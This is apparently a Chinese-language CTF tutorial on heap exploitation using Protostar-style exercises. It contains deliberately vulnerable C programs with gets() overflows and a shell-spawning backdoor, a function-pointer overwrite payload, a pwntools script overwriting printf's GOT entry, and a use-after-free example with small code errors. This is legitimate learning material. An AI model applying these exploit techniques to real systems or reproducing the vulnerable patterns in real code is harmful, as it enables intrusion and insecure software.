CTF-pwn-堆入门-【Protostar】例题学习

前言：个人学习刚开始学习堆知识，上来就是各种原理堆砌的高墙实在有些难以理解，所以就直接从实例出发开始学习堆，遇到知识点再针对学习，也不至于特别枯燥。

参照【Protostar】例题学习均在ubuntu 22.04 上演示

视频学习：https://www.bilibili.com/video/BV1zG4y1w773/?spm_id_from=333.788

靶场下载：

https://exploit.education/downloads/

什么是堆

堆是可以根据运行时的需要进行动态分配和释放的内存，大小可变由程序员决定。

堆是用来动态分配内存的区域，通常用于存储程序运行时需要的数据，如对象、数组、字符串等。堆上的内存通常需要手动分配和释放，并且具有更长的生命周期。

相关命令： malloc new\free delete

栈用于函数分配固定大小的局部内存，大小由程序决定

堆的实现重点关注内存块的组织和管理方式，尤其是空闲内置块：

如何提高分配和释放效率

如何降低碎片化，提高空间利用率

我们要学习的堆溢出栈溢出原理相同，发生在缓冲区上。而一个发生在堆上，一个发生在栈上

问题1：栈已经很高效了，那数据为什么不都存储在栈上进行调用，反而要存储在堆上？

回答：栈是一个高效的数据结构，存储了函数的局部变量、返回地址以及其他执行函数调用所需的信息。但是存储在栈上的数据具有较短的声明周期，通常在函数调用时存在，函数返回时被销毁。栈上的内存分配是静态的，如果需要创建链表、树时，在堆上存储的效率比栈高。

数据存储在堆上的主要原因是要满足动态分配、较长的生命周期、大内存需求以及数据共享等需求

例题分析

heap0_fd

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data{     //声明了data，fp两个struct
	char name[64];
};

struct fp{
	int (*fp)();
};

void backdoor(){                              //获取shell
	system("/bin/sh");
}

void info(){
	printf("this is easy heap0!!!");
}

int main(int args , char **argv){
    struct data *d;                            //定义了两个struct指针
    struct fp *f;

    d = malloc(sizeof(struct data));           //为struct在堆上分配的地址
    f = malloc(sizeof(struct fp));
    f -> fp = info;                            //把info函数名给fp

    printf("data is at %p,fp is at %p\n",d,f); //打印data和fp的内存地址

    gets(d->name);                             // strcpy(d->name,argv[1]);                  
                                               //把用户终端输入的值赋给name    在name空间造成溢出
    f->fp();                                   //再执行fp()即info()
}

//gcc -o heap0 -no-pie heap0.c       有没有pie其实都没关系，已经输出了d的地址和f的地址，计算一下偏移就可以了

我们的目标明显就是修改程序的执行流，执行到backdoor

运行程序，输入AAAA

可以看到此时堆上内存为

data__64		*fp
AAAA		&info

而data并没有限制输入长度，所以当我们输入过长的payload时，就会造成溢出到fp指针出，而fp中存储的是下一个执行函数的地址，那么如果我们将该地址覆盖，就能控制程序的执行流

payload = b'a'*80 + p64(elf.sym['backdoor'])

总结：首先是要了解结构体在堆内的存储方式，指针的作用，堆上分配的内存大小

heap1_struct

a = malloc(16) 
b = malloc(24)
c = malloc(10)
d = malloc(16)

heap上分配的地址不连续

	a_16		b_24		c_10		d_16

a 表示的地址是具有数据存储的内存块的起始地址，而不是空块的地址

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet{
	int priority;
	char *name;
};

void backdoor(){
	system("/bin/sh");
}

int main(){
	struct internet *i1,*i2,*i3;
	i1 = malloc(sizeof(struct internet));
	i1->priority = 1;
	i1->name=malloc(8);

	i2 = malloc(sizeof(struct internet));
	i2 -> priority = 2;
	i2 -> name = malloc(8);
    
	gets(i1->name);
	gets(i2->name);
	printf("usr1's name is %s ,id is %d\n",i1->name,i1->priority);
	printf("usr2's name is %s ,id is %d\n",i2->name,i2->priority);

}
//gcc -o heap1 -no-pie heap1.c

internet结构体

当我们在 i1->name 中传入过长payload时，会对usr2中name指向的地址造成覆盖，再在 i2->name 中修改内容

usr1	8		i1->name		usr2	8		i2->name
priority_int	*name				priority_int	*name
	aaaa	aaaa	aaaa	aaaa	aaaa	printf_got		backdoor_addr

堆上创建的结构体如上图所示

修改printf的got表

from pwn import *
pwnfile = './heap1'
elf = ELF(pwnfile)
io = process(pwnfile)

backdoor = elf.sym['backdoor']
printf_got = elf.got['printf']

#gdb.attach(io)
#pause()
payload = b'a'*40 + p64(printf_got)
io.sendline(payload)

payload = p64(backdoor)
io.sendline(payload)
io.interactive()

heap2_first_uaf

熟悉相关函数：free，malloc，memset，strdup

简易的 use-after-free (使内存错误)

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct auth{
	char name[32];
	int auth
};

struct auth *auth;
char *service;

int main(int argc,char **argv){
	char line[128];

	while(1){
		printf("[ auth = %p,service = %p ]\n",auth,service);

		if(fgets(line, sizeof(line),stdin) == NULL)break;
		if(strncmp(line,"auth ",5) == 0){  
			auth = malloc(sizeof(auth));         //这里的auth指 上面定义的auth指针，而不是struct auth  申请了四字节，但是存在malloc的对齐机制，我们是64位操作系统，内存会消耗32字节
			memset(auth , 0 , sizeof(auth));
			if(strlen(line + 5) < 31){
				strcpy(auth->name,line+5);
			}
		
		if(strncmp(line, "reset",5) == 0){
			free(auth);
		}
		if(strncmp(line, "service", 6 ) == 0){
			service = strdup(line + 7);   //  strdup: 将字符串拷贝到新建的位置处
		}

		if(strncmp(line,"login",5)==0){
			if(auth->auth){
				printf("you have logged in already !\n");
			} else {
				printf("please enter your password !\n");
			}
		}
	}
}
//gcc -o heap2 -no-pie heap2.c

我们的目的就是显示登陆成功，即执行 printf("you have logged in already !\n");

常规执行是很容易hack掉的，但是我们的的目的是了解为什么能够hack掉它。

在上终端中，创建用户，我们再输入密码，登录成功；而在下终端中，我们先创建了用户，再给它销毁掉，输入两次密码，显示登陆成功。

首先明确登陆成功要求：auth -> auth 中存在值

那么 auth -> auth 指的是什么？不是我们第一次输入（auth 37）的用户名吗？

结果当然不是，我们这里的 auth -> auth 指的是在该判断语句中创建的指向auth结构体的auth指针，其定义为 *struct auth auth;

所以判断语句if(auth->auth)中auth还是以定义的结构体 32+4字节访问，第33个字节就是指向auth->auth

		if(strncmp(line,"auth ",5) == 0){  
			auth = malloc(sizeof(auth));         //这里的auth指 上面定义的auth指针，而不是struct auth ，所以只分配了四个字节，但是这里会存在malloc的对齐机制
			memset(auth , 0 , sizeof(auth));
			if(strlen(line + 5) < 31){
				strcpy(auth->name,line+5);
			}
		}